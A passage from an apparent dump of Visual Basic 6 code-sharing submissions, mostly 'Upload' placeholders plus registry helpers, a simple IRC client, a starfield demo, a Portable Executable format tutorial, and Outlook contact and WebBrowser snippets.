strArrayName As String = \"VB6_Array\", _\n Optional ByVal enmDataType As RegistryDataTypes = REG_DT_SZ)\n 'This will save an array of the specified data type to the specified\n 'registry sub key. The array must be initialised and valid for the\n 'data type specified as there is no checking done to validate the data.\n \n Dim lngCounter As Long 'used to cycle through the array specified\n Dim lngMin As Long 'holds the lower bound of the array\n Dim lngMax As Long 'holds the upper bound of the array\n \n 'make sure that a valid subkey was passed\n If (Trim(strSubKey) = \"\") Then\n Exit Sub\n End If\n \n 'make sure that the sub key exists in the registry\n Call CreateSubKey(enmHive, strSubKey)\n \n 'get the size of the array\n lngMin = LBound(varArray)\n lngMax = UBound(varArray)\n \n 'save the bounds in the specified key\n Call CreateRegLong(enmHive, _\n strSubKey, _\n (strArrayName + \"LBound\"), _\n lngMin, _\n REG_BINARY)\n Call CreateRegLong(enmHive, _\n strSubKey, _\n (strArrayName + \"UBound\"), _\n lngMax, _\n REG_BINARY)\n \n 'save the elements of the array to the registry\n For lngCounter = lngMin To lngMax\n If (enmDataType = REG_DT_SZ) Then\n 'save as string\n Call CreateRegString(enmHive, _\n strSubKey, _\n (strArrayName & lngCounter), _\n varArray(lngCounter))\n \n Else\n 'save as numeric\n Call CreateRegLong(enmHive, _\n strSubKey, _\n (strArrayName & lngCounter), _\n varArray(lngCounter), _\n enmDataType)\n End If\n Next lngCounter\nEnd Sub\nPublic Sub LoadArray(ByRef varArray() As Variant, _\n ByVal enmHive As RegistryHives, _\n ByVal strSubKey As String, _\n Optional ByVal strArrayName As String = \"VB6_Array\", _\n Optional ByVal enmDataType As RegistryDataTypes = REG_DT_SZ)\n 'This will load an array saved with the SaveArray procedure above. The\n 'data must have been saved using the correct data and datatypes. The array\n 'passed to this procedure will be wiped, resized and loaded with whatever\n 'information can be retrieved from the registry. It is up to the programmer\n 'to ensure that the correct data types are passed to the procedure or the\n 'information returned may be corrupt if any information is returned at all.\n \n Dim lngCounter As Long 'used to cycle through the array specified\n Dim lngMin As Long 'holds the lower bound of the array\n Dim lngMax As Long 'holds the upper bound of the array\n \n 'make sure that the correct sub key was passed\n If (Trim(strSubKey) = \"\") Then\n Exit Sub\n End If\n \n 'get the size of the array\n lngMin = ReadRegLong(enmHive, _\n strSubKey, _\n (strArrayName + \"LBound\"), _\n REG_BINARY)\n lngMax = ReadRegLong(enmHive, _\n strSubKey, _\n (strArrayName + \"UBound\"), _\n REG_BINARY)\n \n 'resize the array to accomidate the data\n ReDim varArray(lngMin To lngMax)\n \n For lngCounter = lngMin To lngMax\n If (enmDataType = REG_DT_SZ) Then\n 'read string data into the array\n varArray(lngCounter) = ReadRegString(enmHive, _\n strSubKey, _\n (strArrayName & lngCounter))\n \n Else\n 'read numeric data into the array\n varArray(lngCounter) = ReadRegLong(enmHive, _\n strSubKey, _\n (strArrayName & lngCounter), _\n enmDataType)\n End If\n Next lngCounter\nEnd Sub\nPublic Sub SetNumLock(Optional ByVal blnTurnOn As Boolean = True)\n 'This will turn the numlock on or off when logging in to Nt/2000/XP\n \n Const NUMLOCK_SUBKEY As String = \"Control Panel\\Keyboard\" 'HKEY_CURRENT_USER\n Const NUMLOCK_VALUE As String = \"InitialKeyboardIndicators\"\n \n Dim strOnText As String 'holds the actual string value that turns the numlock on or off\n \n If Not IsWinNT Then\n 'this won't work on a non-nt based system\n Exit Sub\n End If\n \n If blnTurnOn Then\n strOnText = \"2\" 'on\n Else\n strOnText = \"0\" 'off\n End If\n \n Call CreateRegString(HKEY_CURRENT_USER, _\n NUMLOCK_SUBKEY, _\n NUMLOCK_VALUE, _\n strOnText)\nEnd Sub\n"},{"WorldId":1,"id":45118,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45125,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45127,"LineNumber":1,"line":"Private Sub Command1_Click()\n'This Connects To The IRC Server And THe Port To Use\n wsMain.Connect \"oslo.no.eu.undernet.org\", 6667\nEnd Sub\nPrivate Sub Command2_Click()\n'This Disconnects You From The Server\n wsMain.SendData \"QUIT :Your Reason For Quiting\"\n wsMain.Close 'Closes The Socket So Its Ready To Use Again\nEnd Sub\nPrivate Sub Form_Load()\n'This Sets Your Ident Name And The Port To Listen On\n IdentName = \"My_IDENT_Name\" 'Your Ident Name\n wsIDENT.LocalPort = 113 'The Port To Listen On\n wsIDENT.Listen 'Tells Socket To Listen\nEnd Sub\nPrivate Sub Timer1_Timer()\n'This Is The Timer For The Ident\n If wsIDENT.State <> 2 And wsIDENT.State <> 7 Then 'If Socket Is Not Listening Or Has A Open Connection\n wsIDENT.Close 'Closes The Socket\n wsIDENT.Listen 'Reset The Socket To Listen\n End If\nEnd Sub\nPrivate Sub wsIDENT_ConnectionRequest(ByVal requestID As Long)\n'This Is For When The Server Trys To Get Your Ident\n wsIDENT.Close 'Closes The Socket\n wsIDENT.Accept requestID 'Accepts The Connection From The Server\n wsIDENT.SendData \"113, 133:USERID:WIN32:\" & IdentName 'Send Your Ident Info To The Server\nEnd Sub\nPrivate Sub wsMain_Connect()\n'This Sends The Data You Need To Connect To A Server\n wsMain.SendData \"User \" & \"your@email.com\" & \" \" & wsMain.LocalHostName & \" \" & wsMain.RemoteHost & \" :\" & \"Your Real Name\" & vbCrLf\n wsMain.SendData \"NICK \" & \"Your_Nick\" & vbCrLf\nEnd Sub\nPrivate Sub wsMain_DataArrival(ByVal bytesTotal As Long)\n'This Gets The Data From The Server And Puts It Into The TextBox\nDim Data As String\n wsMain.GetData Data 'Gets The Data\n \n'This Sends The Pong Back To THe Server When U Get A Ping Msg\n If Left(Data, Len(\"PING\")) = \"PING\" Then 'If The Data Has PING In It\n wsMain.SendData Replace(Data, \"PING\", \"PONG\") & vbCrLf 'Replaces The PING With A PONG And Sends The Rest Of THe Line Back To The Server\n End If\n \n'This Puts All The Data In The TextBox So U Can Read It\n RichTextBox1.Text = RichTextBox1.Text & Data\nEnd Sub\n"},{"WorldId":1,"id":45132,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45136,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45137,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45156,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45158,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45161,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45163,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45171,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45172,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45176,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45178,"LineNumber":1,"line":" I guessed there must be a better way than hard-coding each control name, but I searched PSC and couldn't find anything to do the job. So after I worked it out I felt this simple method should be added to PSC so those who don't already know how to do it can benefit too.\n \n <blue>Dim <black>Control <blue>As <black>Control\n <blue>For Each <black>Control <blue>In <black>Me\n <blue>If TypeOf <black>Control <blue>Is <black>TextBox <blue>Then <black>Control.Text = \"\"\n <blue>Next <black>Control\n Please vote if you learnt something useful. <red>Cor!Γäó<black> "},{"WorldId":1,"id":45184,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45188,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45191,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45194,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45195,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45197,"LineNumber":1,"line":"'By Rodrigo Bola├▒os\n \n \n'For beginners who want to learn the Pset. And \n \n'the parameters that need to be use\n \n \nOption Explicit\n \nDim Px(1 To 150) 'Pixel X position\n \nDim Py(1 To 150) 'Pixel Y positon\n \n \nDim P_LastY(1 To 150) 'Pixel Y last position\n \nDim i As Integer ' Just for the For and Next\n \nDim a As Integer ' Just for the For and Next\n \n \n \nPrivate Sub Form_Load()\n \nMe.BackColor = vbBlack\n \n \nFor a = 1 To 140\n \nPx(a) = Rnd * Me.ScaleWidth 'Create Random X \n \n'position for the pixel\n \n \nPy(a) = Rnd * Me.ScaleHeight 'Create Random Y \n \n'position for the pixel\n \nNext a\n \nEnd Sub\n \n \n \nPrivate Sub Timer1_Timer() ' This is our main \n \n'control\n \n \nOn Error Resume Next 'Just in case theres an \n \n'error\n \n \nFor i = 1 To 140\n \nPy(i) = Py(i) + 10 ' Move the stars. \n \n \nIf Py(i) > Me.ScaleHeight Then Py(i) = 0 'If we\n \n'have reached the bottom part of the form , \n \n'put them in the top part\n \n \n \nP_LastY(i) = Py(i) - 10 Calculates where the last\n \n'star we draw is. \n \n \n \nMe.PSet (Px(i), P_LastY(i)), vbBlack\n<br\n'Erase our last star\n \nMe.PSet (Px(i), Py(i)), vbWhite 'Set our new star\n \n \n \nNext i\n \nEnd Sub\n \n \n'This code made 100% made by me\n \n \n'Please comment\n \n'Please Vote\n"},{"WorldId":1,"id":45199,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45200,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45201,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45202,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45203,"LineNumber":1,"line":"SESSION LAYER DESIGNING:\nBy Anoop Madusudanan, http://www.inetsindia.com/anoopvision, anoopj13@yahoo.com \nFriday, May 02, 2003 \n \nWHY THIS ARTICLE? \n \nTo teach you how to design session layer protocols like HTTP and FTP \n(if you are interested ;) ). \n \nRead Readme.htm with this package for a better overview. \n \nThe zip file contains 3 projects \n \na) NewsServer - This project \nb) I-News GUI client - A client with a GUI (in the ClientGUI folder) \nc) I-News Client - A telnet like client (in the Client folder) \n \n \nWHAT IS THIS!!! \n \nI-News server is a TCP/IP based server suit, with limited functionality to \nserve news over a network. Rather than working as a news server, this application \nis to demonstrate the designing and implementation of of custom application protocols \nover TCP/IP. This package contains the Server in the server directory, \nalong with two clients. In the folder ClientGUI, there is a visual client, \nand in the folder Client, there is a simple text based client. \n \nAND FINALLY.. \n \n1) Visit my site at http://www.inetsindia.com/anoopvision for more code and tutorials \n2) Give me your vote for this at PSC \n \nRegards, An OOP - anoopj13@yahoo.com \n \n\n\nLearn step by step how to..\n<ul>\n <li>Create TCP/IP based servers and\n clients</li>\n <li>Implement a proper talking protocol\n between them</li>\n <li>Send data as chunks through the\n network</li>\n <li>Use sockets (Winsock) in VB\n applications</li>\n</ul>\n"},{"WorldId":1,"id":45210,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45211,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45216,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45220,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45227,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45230,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45231,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45256,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45259,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45260,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45261,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45265,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45268,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45277,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45278,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45279,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45280,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45293,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45296,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45301,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45303,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45315,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45316,"LineNumber":1,"line":"\n<h2>Inside the executable: The Portable Executable Format</h2>\nThe source code can be found at http://www.planetsourcecode.com/vb/scripts/ShowCode.asp?txtCodeId=41711&lngWId=1\nThe Portable Executable Format is the data structure that describes how the various parts of a Win32\nexecutable file are held together. It allows the operating system to load the executable and to locate the dynamically \nlinked libraries required to run that executable and to navigate the code,data and resource sections compiled into that \nexecutable.\n<h3>Getting over DOS</h3>\nThe PE Format was created for Windows but Microsoft had to make sure that running such an executable in DOS would \nyield a meaningful error message and exit. To this end the very first bit of a windows executable file is actually a DOS\nexecutable (sometimes known as the stub) which writes \"This program requires Windows\" or similar then exits.\nThe format of the DOS stub is:\n\n<code><pre>\nPrivate Type IMAGE_DOS_HEADER\n e_magic As Integer ''\\\\ Magic number\n e_cblp As Integer ''\\\\ Bytes on last page of file\n e_cp As Integer ''\\\\ Pages in file\n e_crlc As Integer ''\\\\ Relocations\n e_cparhdr As Integer ''\\\\ Size of header in paragraphs\n e_minalloc As Integer ''\\\\ Minimum extra paragraphs needed\n e_maxalloc As Integer ''\\\\ Maximum extra paragraphs needed\n e_ss As Integer ''\\\\ Initial (relative) SS value\n e_sp As Integer ''\\\\ Initial SP value\n e_csum As Integer ''\\\\ Checksum\n e_ip As Integer ''\\\\ Initial IP value\n e_cs As Integer ''\\\\ Initial (relative) CS value\n e_lfarlc As Integer ''\\\\ File address of relocation table\n e_ovno As Integer ''\\\\ Overlay number\n e_res(0 To 3) As Integer ''\\\\ Reserved words\n e_oemid As Integer ''\\\\ OEM identifier (for e_oeminfo)\n e_oeminfo As Integer ''\\\\ OEM information; e_oemid specific\n e_res2(0 To 9) As Integer ''\\\\ Reserved words\n e_lfanew As Long ''\\\\ File address of new exe header\nEnd Type\n</pre></code>\n\nThe only field of this structure that is of interest to Windows is e_lfanew which is the file pointer to the new \nWindows executable header. To skip over the DOS part of the program, set the file pointer to the value held in this field:\n\n<code><pre>\nPrivate Sub SkipDOSStub(ByVal hfile As Long) \nDim BytesRead As Long\n'\\\\ Go to start of file...\nCall SetFilePointer(hfile, 0, 0, FILE_BEGIN)\nIf Err.LastDllError Then\n Debug.Print LastSystemError\nEnd If\nDim stub As IMAGE_DOS_HEADER\nCall ReadFileLong(hfile, VarPtr(stub), Len(stub), BytesRead, ByVal 0&)\nCall SetFilePointer(hfile, stub.e_lfanew, 0, FILE_BEGIN)\nEnd Sub\n</pre></code>\n\n<h3>The NT header</h3>\nThe NT header holds the information needed by the windows program loader to load the program. It consists of the PE File signature \nfollowed by an IMAGE_FILE_HEADER and IMAGE_OPTIONAL_HEADER records.\nFor applications designed to run under Windows (i.e. not OS/2 or VxD files) the four bytes of the PE File signature should equal &h4550. \nThe other defined signatures are:\n\n<code><pre>\nPublic Enum ImageSignatureTypes\n IMAGE_DOS_SIGNATURE = &H5A4D ''\\\\ MZ\n IMAGE_OS2_SIGNATURE = &H454E ''\\\\ NE\n IMAGE_OS2_SIGNATURE_LE = &H454C ''\\\\ LE\n IMAGE_VXD_SIGNATURE = &H454C ''\\\\ LE\n IMAGE_NT_SIGNATURE = &H4550 ''\\\\ PE00\nEnd Enum\n</pre></code>\n\nFollowing the PE file signature is the IMAGE_NT_HEADERS structure that stores information about the target environment of the executable. \nThe structure is:\n\n<code><pre>\nPrivate Type IMAGE_FILE_HEADER\n Machine As Integer\n NumberOfSections As Integer\n TimeDateStamp As Long\n PointerToSymbolTable As Long\n NumberOfSymbols As Long\n SizeOfOptionalHeader As Integer\n Characteristics As Integer\nEnd Type\n</pre></code>\n\nThe Machine member describes what target CPU the executable was compiled for. It can be one of:\n\n<code><pre>\nPublic Enum ImageMachineTypes\n IMAGE_FILE_MACHINE_I386 = &H14C ''\\\\ Intel 386.\n IMAGE_FILE_MACHINE_R3000 = &H162 ''\\\\ MIPS little-endian,= &H160 big-endian\n IMAGE_FILE_MACHINE_R4000 = &H166 ''\\\\ MIPS little-endian\n IMAGE_FILE_MACHINE_R10000 = &H168 ''\\\\ MIPS little-endian\n IMAGE_FILE_MACHINE_WCEMIPSV2 = &H169 ''\\\\ MIPS little-endian WCE v2\n IMAGE_FILE_MACHINE_ALPHA = &H184 ''\\\\ Alpha_AXP\n IMAGE_FILE_MACHINE_POWERPC = &H1F0 ''\\\\ IBM PowerPC Little-Endian\n IMAGE_FILE_MACHINE_SH3 = &H1A2 ''\\\\ SH3 little-endian\n IMAGE_FILE_MACHINE_SH3E = &H1A4 ''\\\\ SH3E little-endian\n IMAGE_FILE_MACHINE_SH4 = &H1A6 ''\\\\ SH4 little-endian\n IMAGE_FILE_MACHINE_ARM = &H1C0 ''\\\\ ARM Little-Endian\n IMAGE_FILE_MACHINE_IA64 = &H200 ''\\\\ Intel 64\nEnd Enum\n</pre></code>\n\nThe SizeOfOptionalHeader member indicates the size (in bytes) of the IMAGE_OPTIONAL_HEADER structure that immediatley follows it.\n In practice this structure is not optional so that is a bit of a misnomer. This structure is defined as:\n\n<code><pre>\nPrivate Type IMAGE_OPTIONAL_HEADER\n Magic As Integer\n MajorLinkerVersion As Byte\n MinorLinkerVersion As Byte\n SizeOfCode As Long\n SizeOfInitializedData As Long\n SizeOfUninitializedData As Long\n AddressOfEntryPoint As Long\n BaseOfCode As Long\n BaseOfData As Long\nEnd Type\n</pre></code>\n \n and this in turn is immediately followed by the IMAGE_OPTIONAL_HEADER_NT structure:\n\n<code><pre>\nPrivate Type IMAGE_OPTIONAL_HEADER_NT\n ImageBase As Long\n SectionAlignment As Long\n FileAlignment As Long\n MajorOperatingSystemVersion As Integer\n MinorOperatingSystemVersion As Integer\n MajorImageVersion As Integer\n MinorImageVersion As Integer\n MajorSubsystemVersion As Integer\n MinorSubsystemVersion As Integer\n Win32VersionValue As Long\n SizeOfImage As Long\n SizeOfHeaders As Long\n CheckSum As Long\n Subsystem As Integer\n DllCharacteristics As Integer\n SizeOfStackReserve As Long\n SizeOfStackCommit As Long\n SizeOfHeapReserve As Long\n SizeOfHeapCommit As Long\n LoaderFlags As Long\n NumberOfRvaAndSizes As Long\n DataDirectory(0 To 15) As IMAGE_DATA_DIRECTORY\nEnd Type\n</pre></code>\n\nThe most useful field of this structure (to my purposes, anyhow) are the 16 IMAGE_DATA_DIRECTORY entries. These describe whereabouts \n(if at all) the particular sections of the executable are located. The structure is defined thus:\n\n<code><pre>\nPrivate Type IMAGE_DATA_DIRECTORY\n VirtualAddress As Long\n Size As Long\nEnd Type\n</pre></code>\n\nAnd the directories are held in order thus:\n\n<code><pre>\nPublic Enum ImageDataDirectoryIndexes\n IMAGE_DIRECTORY_ENTRY_EXPORT = 0 ''\\\\ Export Directory\n IMAGE_DIRECTORY_ENTRY_IMPORT = 1 ''\\\\ Import Directory\n IMAGE_DIRECTORY_ENTRY_RESOURCE = 2 ''\\\\ Resource Directory\n IMAGE_DIRECTORY_ENTRY_EXCEPTION = 3 ''\\\\ Exception Directory\n IMAGE_DIRECTORY_ENTRY_SECURITY = 4 ''\\\\ Security Directory\n IMAGE_DIRECTORY_ENTRY_BASERELOC = 5 ''\\\\ Base Relocation Table\n IMAGE_DIRECTORY_ENTRY_DEBUG = 6 ''\\\\ Debug Directory\n IMAGE_DIRECTORY_ENTRY_ARCHITECTURE = 7 ''\\\\ Architecture Specific Data\n IMAGE_DIRECTORY_ENTRY_GLOBALPTR = 8 ''\\\\ RVA of GP\n IMAGE_DIRECTORY_ENTRY_TLS = 9 ''\\\\ TLS Directory\n IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG = 10 ''\\\\ Load Configuration Directory\n IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT = 11 ''\\\\ Bound Import Directory in headers\n IMAGE_DIRECTORY_ENTRY_IAT = 12 ''\\\\ Import Address Table\n IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT = 13 ''\\\\ Delay Load Import Descriptors\nEnd Enum\n</pre></code>\n\nNote that is an executable does not contain one of the sections (as is often the case) there will be an IMAGE_DATA_DIRECTORY for it but the \naddress and size will both be zero.\n<h2>The image data directories</h2>\n<h3>The exports directory</h3>\nThe exports directory holds details of the functions exported by this executable. For example, if you were to look in the exports directory \nof the MSVBVM50.dll it would list all the functions it exports that make up the visual basic 5 runtime environment.\nThis directory consists of some info to tell you how many exported functions there are followed by three parallel arrays which give you the \naddress, name and ordinal of the functions respectively. The structure is defined thus:\n\n\n<code><pre>\nPrivate Type IMAGE_EXPORT_DIRECTORY\n Characteristics As Long\n TimeDateStamp As Long\n MajorVersion As Integer\n MinorVersion As Integer\n lpName As Long\n Base As Long\n NumberOfFunctions As Long\n NumberOfNames As Long\n lpAddressOfFunctions As Long '\\\\ Three parrallel arrays...(LONG)\n lpAddressOfNames As Long '\\\\ (LONG)\n lpAddressOfNameOrdinals As Long '\\\\ (INTEGER)\nEnd Type\n</pre></code>\n\nAnd you can read this info from the executable thus:\n\n<code><pre>\nPrivate Sub ProcessExportTable(ExportDirectory As IMAGE_DATA_DIRECTORY)\nDim deThis As IMAGE_EXPORT_DIRECTORY\nDim lBytesWritten As Long\nDim lpAddress As Long\nDim nFunction As Long\nIf ExportDirectory.VirtualAddress > 0 And ExportDirectory.Size > 0 Then\n '\\\\ Get the true address from the RVA\n lpAddress = AbsoluteAddress(ExportDirectory.VirtualAddress)\n '\\\\ Copy the image_export_directory structure...\n Call ReadProcessMemoryLong(DebugProcess.Handle, lpAddress, VarPtr(deThis), Len(deThis), lBytesWritten)\n With deThis\n If .lpName <> 0 Then\n image.Name = StringFromOutOfProcessPointer(DebugProcess.Handle, image.AbsoluteAddress(.lpName), 32, False)\n End If\n If .NumberOfFunctions > 0 Then\n For nFunction = 1 To .NumberOfFunctions\n lpAddress = LongFromOutOfprocessPointer(DebugProcess.Handle, image.AbsoluteAddress(.lpAddressOfNames) + ((nFunction - 1) * 4))\n fExport.Name = StringFromOutOfProcessPointer(DebugProcess.Handle, image.AbsoluteAddress(lpAddress), 64, False)\n fExport.Ordinal = .Base + IntegerFromOutOfprocessPointer(DebugProcess.Handle, image.AbsoluteAddress(.lpAddressOfNameOrdinals) + ((nFunction - 1) * 2))\n fExport.ProcAddress = LongFromOutOfprocessPointer(DebugProcess.Handle, image.AbsoluteAddress(.lpAddressOfFunctions) + ((nFunction - 1) * 4))\n Next nFunction\n End If\n End With\nEnd If\n \nEnd Sub\n</pre></code>\n\n<h3>The imports directory</h3>\nThe imports directory lists the dynamic link libraries that this executable depends on and which functions it imports from that dynamic link library.\nIt consists of an array of IMAGE_IMPORT_DESCRIPTOR structures terminated by an instance of this structure where the lpName parameter is zero.\nThe structure is defined as:\n\n\n<code><pre>\nPrivate Type IMAGE_IMPORT_DESCRIPTOR\n lpImportByName As Long ''\\\\ 0 for terminating null import descriptor\n TimeDateStamp As Long ''\\\\ 0 if not bound,\n ''\\\\ -1 if bound, and real date\\time stamp\n ''\\\\ in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)\n ''\\\\ O.W. date/time stamp of DLL bound to (Old BIND)\n ForwarderChain As Long ''\\\\ -1 if no forwarders\n lpName As Long\n lpFirstThunk As Long ''\\\\ RVA to IAT (if bound this IAT has actual addresses)\nEnd Type\n</pre></code>\n\nAnd you can walk the import directory thus:\n\n<code><pre>\nPrivate Sub ProcessImportTable(ImportDirectory As IMAGE_DATA_DIRECTORY)\nDim lpAddress As Long\nDim diThis As IMAGE_IMPORT_DESCRIPTOR\nDim byteswritten As Long\nDim sName As String\nDim lpNextName As Long\nDim lpNextThunk As Long\nDim lImportEntryIndex As Long\nDim nOrdinal As Integer\nDim lpFuncAddress As Long\n'\\\\ If the image has an imports section...\nIf ImportDirectory.VirtualAddress > 0 And ImportDirectory.Size > 0 Then\n '\\\\ Get the true address from the RVA\n lpAddress = AbsoluteAddress(ImportDirectory.VirtualAddress)\n Call ReadProcessMemoryLong(DebugProcess.Handle, lpAddress, VarPtr(diThis), Len(diThis), byteswritten)\n \n While diThis.lpName <> 0\n '\\\\ Process this import directory entry\n sName = StringFromOutOfProcessPointer(DebugProcess.Handle, image.AbsoluteAddress(diThis.lpName), 32, False)\n '\\\\ Process the import file's functions list\n If diThis.lpImportByName <> 0 Then\n lpNextName = LongFromOutOfprocessPointer(DebugProcess.Handle, image.AbsoluteAddress(diThis.lpImportByName))\n lpNextThunk = LongFromOutOfprocessPointer(DebugProcess.Handle, image.AbsoluteAddress(diThis.lpFirstThunk))\n While (lpNextName <> 0) And (lpNextThunk <> 0)\n '\\\\ get the function address\n lpFuncAddress = LongFromOutOfprocessPointer(DebugProcess.Handle, lpNextThunk)\n nOrdinal = IntegerFromOutOfprocessPointer(DebugProcess.Handle, lpNextName)\n '\\\\ Skip the two-byte ordinal hint\n lpNextName = lpNextName + 2\n '\\\\ Get this function's name\n sName = StringFromOutOfProcessPointer(DebugProcess.Handle, image.AbsoluteAddress(lpNextName), 64, False)\n If Trim$(sName) <> \"\" Then\n '\\\\ Get the next imported function...\n lImportEntryIndex = lImportEntryIndex + 1\n lpNextName = LongFromOutOfprocessPointer(DebugProcess.Handle, image.AbsoluteAddress(diThis.lpImportByName + (lImportEntryIndex * 4)))\n lpNextThunk = LongFromOutOfprocessPointer(DebugProcess.Handle, image.AbsoluteAddress(diThis.lpFirstThunk + (lImportEntryIndex * 4)))\n Else\n lpNextName = 0\n End If\n Wend\n End If\n \n '\\\\ And get the next one\n lpAddress = lpAddress + Len(diThis)\n Call ReadProcessMemoryLong(DebugProcess.Handle, lpAddress, VarPtr(diThis), Len(diThis), byteswritten)\n Wend\nEnd If\n \nEnd Sub\n</pre></code>\n\n<h3>The resource directory</h3>\nThe structure of the resource director is somewhat more involved. It consists of a root directory (defined by the structure \nIMAGE_RESOURCE_DIRECTORY immediately followed by a number of resource directory entries (defined by the structure \nIMAGE_RESOURCE_DIRECTORY_ENTRY). These are defined thus:\n\n<code><pre>\nPrivate Type IMAGE_RESOURCE_DIRECTORY\n Characteristics As Long '\\\\Seems to be always zero?\n TimeDateStamp As Long\n MajorVersion As Integer\n MinorVersion As Integer\n NumberOfNamedEntries As Integer\n NumberOfIdEntries As Integer\nEnd Type\nPrivate Type IMAGE_RESOURCE_DIRECTORY_ENTRY\n dwName As Long\n dwDataOffset As Long\n CodePage As Long\n Reserved As Long\nEnd Type\n</pre></code>\n\nEach resource directory entry can either point to the actual resource data or to another layer of resource directory entries. If the highest bit of\ndwDataOffset is set then this points to a directory otherwise it points to the resource data.\n<h2>How is this information useful?</h2>\nOnce you know how an executable is put together you can use this information to peer into its workings. You can view the resources compiled into \nit, the dlls it depends on and the actual functions it imports from them. More importantly you can attach to the executable as a debugger and track down any of those really troublesome general protection faults. The next article will describe how to attach a debugger and use the PE file format.\n"},{"WorldId":1,"id":45318,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45320,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45323,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45328,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45337,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45347,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45350,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45353,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45358,"LineNumber":1,"line":"'Navigate somewhere.\nMe.WebBrowser1.Navigate \"http://www..planet-source-code.com\"\n'Return control to the processor using\n'the DoEvents until the page has been\n'loaded, i.e. Completed.\nDo\n DoEvents\nLoop Until frmMain.Web.ReadyState = READYSTATE_COMPLETE\n'Confirm the page has been downloaded.\nMsgBox \"Loaded\""},{"WorldId":1,"id":45360,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45369,"LineNumber":1,"line":"See attached file"},{"WorldId":1,"id":45370,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45371,"LineNumber":1,"line":"Private Sub Form_Load()\n Dim olns As NameSpace\n Dim itemCount As Integer\n Dim objfolder As mapiFolder\n Dim objAllContacts As Outlook.Items\n Dim i As Variant\n Dim Contact As Outlook.ContactItem\n \n \n ReDim contArray(3, 50)\n Me.restore.Enabled = False\n Me.minimize.Enabled = True\n 'Create an instance of Outlook\n Set ol = CreateObject(\"Outlook.Application\")\n Set olns = ol.GetNamespace(\"MAPI\")\n olns.Logon\n Set objfolder = olns.GetDefaultFolder(Outlook.OlDefaultFolders.olFolderContacts)\n Set objAllContacts = objfolder.Items\n \n itemCount = objAllContacts.Count\n \n List1.Clear\n i = 0\n \n \n For i = 1 To itemCount\n If TypeOf objAllContacts.Item(i) Is Outlook.ContactItem Then\n Set Contact = objAllContacts.Item(i)\n If Contact.CompanyName <> \"\" Then\n contArray(1, i) = Contact.CompanyName\n contArray(2, i) = Contact.BusinessTelephoneNumber\n contArray(3, i) = Contact.BusinessFaxNumber\n List1.AddItem Contact.CompanyName\n \n End If\n If i = UBound(contArray, 2) Then\n ReDim Preserve contArray(3, i + 50)\n End If\n End If\n 'i = i + 1\n \n Next\n olns.Logoff\n \n Set olns = Nothing\n \n Set objfolder = Nothing\n Set objAllContacts = Nothing\n Set Contact = Nothing\n \n\nEnd Sub"},{"WorldId":1,"id":45373,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45375,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45379,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45385,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45398,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45403,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45405,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45411,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45412,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45413,"LineNumber":1,"line":"Getting the most out of your EXE files\nWe all know that VB makes very big EXE files, even if you only \nadd an empty module. I think the minimum size you can normally get from VB is \n12K. Add a form, and that will usually go up to 16K. 